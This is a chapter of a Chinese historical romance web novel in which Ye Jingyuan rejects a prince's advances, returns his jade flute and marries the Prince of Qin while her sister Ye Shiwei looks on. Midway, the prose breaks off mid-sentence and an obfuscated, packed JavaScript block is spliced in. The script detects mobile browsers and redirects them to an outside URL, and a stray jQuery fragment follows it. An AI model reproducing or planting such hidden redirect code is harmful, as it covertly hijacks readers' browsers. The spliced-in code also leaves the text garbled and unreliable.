“你没回房间休息?”李怀章冷冷看向叶拭微,同时随意地甩了甩手,将那两滴血珠甩开,一霎明白过来,“你们给我设陷阱。”
叶净渊有理有据:“是殿下夜闯官宅,对你未来的皇嫂出言不逊。”
李怀章顿时气愤不已,恼恨地盯着她:“难道你真以为我会对你做什么?!我在你眼里就是那种人!”
“那你说那些恶心人的屁话做什么!”叶拭微径直朝他动起手来,“就算你没有真的想那么做,你也是个恶心至极的猥琐小人!”
“大胆!”怕引来留芳苑外的叶府侍卫,李怀章不欲和她打斗,低声斥道:“你可知你在和谁说话?”
“一个私闯别人府宅的贼罢了。”叶拭微收了匕首,眼睛中流出笑意,“难道殿下敢与我姐妹二人一起,去陛下面前分说吗?”
李怀章呼吸几个来回平复气息,不再理会叶拭微,只问叶净渊:“你当真要嫁给李怀真?”
叶净渊直视着他道:“是,还请殿下日后再见到我,能够按照规矩,以长嫂之礼相待。”
李怀章垂首凄然笑了两声,半边脸隐有嘲讽之意,却不知是对谁。他攥紧了那只被袖箭划破的手,指甲按在伤处之上,硬生生让原本没那么凄惨的伤口变得鲜血淋漓。
叶净渊绕过他走进屋子尽头,打开墙角的一个柜子,从中拿出早前李怀章送给她的白玉长箫,再站回到李怀章面前,毫不留恋地双手奉上:“星辰,还于殿下。”
“你不要了?”李怀章凝望着她,不可置信地问:“你不是很喜欢吗?”
“也并没有十分喜欢。”叶净渊道:“况且我喜欢的东西有很多,现下我要与秦王成婚,再收着殿下的星辰,委实不太好。”
李怀章咬牙说道:“四哥和二哥他们不是也送了你东西,你难道也一一还给他们?李怀真就这样小的气量,竟然连别人送你的礼物都容不下吗?”
“秦王容得下这所有一切,包括殿下送我的白玉箫。”叶净渊道:“可我不能将秦王的大度视若无物,在你对我污言恶语的这天,还装作无事发生,与你如之前一般客气来往。”
“客气?客气!”李怀章复述这两个字,嚼碎了一样品味,最后重重喘了两口气,仿佛是在压抑着什么一般,声量极低,隐晦莫名地对叶净渊道:“这是最后一次了……净渊。”
最后两个字被他从喉间近乎是磨着一般呢喃而出,犹如毒蛇吐信,听的人一阵恶寒。
但他也没有继续纠缠,而是深深凝望叶净渊一眼,眼神中带着一种复杂的只有他自己能够理解的情绪,对那把他曾经喜爱无比的白玉箫置之不理,转过身大步流星地离开了。
“他没死心,就是不知道他还藏着什么心思。”叶拭微皱眉说道,又低头看一眼白玉箫,问:“我去处理了?”
这东西砸了卖了都不合适,当日李怀章是在众目睽睽之下送给她的,最好的办法就是完好无损地送还。
叶净渊转回身,从柜子中取出一长度适宜的匣子,将白玉箫放进去,最后搁在桌子上,“今天太晚了,明早起来,吩咐小厮给李怀章送过去吧。”
叶拭微点点头,摸出手帕擦匕首,对叶净渊道:“今夜里我和你一起睡吧。”
虽说李怀章来过一次,又怒气冲冲离开,应该不会再来了,但叶拭微仍旧有些担忧。
叶净渊笑了笑,抱出另一床被子在榻上铺好,拍了拍暄软棉被,噙着一抹笑意说道:“来吧。”
叶拭微简单清洁一番,在她身旁躺下。
次日一早,天还未亮,吟春吟夏便走进来,把两位正在梦中的小姐叫了起来。
知道今天是大事,再加上两人本也不是十分喜爱赖床的性子,没让吟春吟夏费太多力气,很快强打着精神坐了起来。
叶拭微睡眼惺忪地做清洁,一扭头,先她一步完成清洁的叶净渊已经坐到了妆台前,披散着一头若瀑乌发,透过妆镜,唇角带笑地看着她。
“拭微。”见她发怔,叶净渊抬手招呼她过来。
叶拭微走过去,后知后觉吟春吟夏已经被叶净渊打发了出去,这屋子里现在只有她们姐妹两个。
站到叶净渊身后,看着镜中未施粉黛的秀丽脸庞,和梳妆台上早已提前摆好的不胜枚举的头面首饰,叶拭微忽然就生出了一种无所适从来。
她一次比一次要更加清晰地认识到这样一个事实——
叶净渊,是真的要成亲了。
心中万般不舍,眼眶控制不住地滚出泪来,叶拭微低声问:“阿姐,你开心吗?”
叶净渊受她感染,也有些眼酸。
“开心的。”她说:“秦王那个人你知道,性格不错,待人接物足够真诚,对我的感情也是真的。和他成婚,我是开心的。”
那就足够了,叶拭微并不问她是不是已经喜欢上了秦王这类问题。她比任何人都明白,“喜欢”和“爱”这些情绪,在与权力地位和金钱牵扯上的时候,总是不纯粹的。
阿姐没有说,便是她自己也尚且不曾想清楚。
无论如何,至少李问渠那个人,叶拭微是认可的。
她拭去眼角泪水,轻声道:“那就好。”
“这会儿时间还早,母亲和喜娘还未过来。”叶净渊笑着问她:“你要不要先来给我梳一次头?”
出嫁前梳头这一项,通常由全福之人来做,且多为长辈。
尽管心里清楚,等到过会儿孙文蓉她们来了后,梳头这一动作仍旧会被再次执行,现在仅有她们姐妹俩在的场合,不过是叶净渊为了让她展颜而提的建议,大约是不作数的。
叶拭微却还是道:“这不合适。”
“没什么不合适的。”叶净渊把梳子塞她手里,“我想你给我梳。”
“算了吧。”叶拭微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674939|175147||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
犹豫瞬间,还是拒绝,她拿起妆台上的眉笔,站到叶净渊面前,俯身垂头,“我给阿姐上妆好了。”
说是这么说,但叶拭微上妆技术实在不怎么样,平日里握剑挥剑都稳得不行的手在这时却是直打哆嗦,整个上妆的过程都严阵以待,费了好大一番力气才把妆上了个差强人意。
好在叶净渊底子好,就算素面朝天也是好看的,于是打眼一看,并不让人感觉奇怪。
喜娘过来,四处打量一番,指挥着人将事情做得更圆满漂亮。
叶拭微看着孙文蓉为叶净渊梳头,听她柔声说着祝福语的时候,也在心中虔诚地轻声念道:“一梳梳到尾,二梳长命百岁,三梳心想事成、无灾无秽,四梳万事圆满、一生有为……”
梳头完毕,吟春吟夏给叶净渊最后戴好头面,屋子外面热热闹闹的声音仿佛在这一刻突然打破结界远远传了过来。
喜娘笑吟吟道:“新郎来了,还不快把盖头盖上,准备出门啦!”
叶净渊透过妆镜看一眼自孙文蓉等人到来以后就离得很远站在房间角落的叶拭微,轻声唤道:“拭微?”
叶拭微恍然看过去,孙文蓉笑着看她,说道:“你来给你阿姐盖上盖头吧。”
叶拭微走过去,双手拿起那方绣着龙凤呈祥图样的红帕,在空中抖平整,绕到叶净渊脑后,任手帕缓缓向前落下。
最后落在她眼中的叶净渊的脸庞,带着平和满足的温柔笑意。
车队绕过长街,巡城一圈,最后进入秦王府。
拜堂,礼成,开宴。
叶净渊被人引着进去寝房。
叶拭微目不转睛望着她背影远离,连身旁站了一个人都没有察觉到。
赵寻真看她这样子,难免心疼,一语不发在旁陪伴,直到叶净渊自己回过神来看向他,才立刻露出一张灿烂笑颜。
叶拭微忍不住笑,说他有点傻。
赵寻真就挠了挠后脑勺,顺着她的话道:“本来确实也不怎么聪明。”
他这一打岔,叶拭微回过神来,问他:“你爹娘是今天离开?”
赵寻真点头,“已经走了,晨起离开的,看着李问渠装扮好换了衣裳就走了。”
叶拭微愣了一下,说:“还没有好好拜见他们。”
从江北回来以后,事情太多,变故横生,她又忙着练武增强实力,确实不曾找到合适机会过来拜见。当然每次过来秦王府,她也有机会看上两眼,可赵青山和花溪沅两人太有分寸,每次一到他们讨论事情的时候,就会自发走远。于是那为数不多的几次见面,他们连话都不曾说上几句。
赵寻真就笑了,“那有什么,指不定他们两个自己偷溜去相府瞧你呢。我爹娘向来没有大人样子,这种事情他们真的做得出来。”
叶拭微也跟着笑起来,随即就见燕绍川面容严肃朝他们走来,低声道:“李怀章来了。”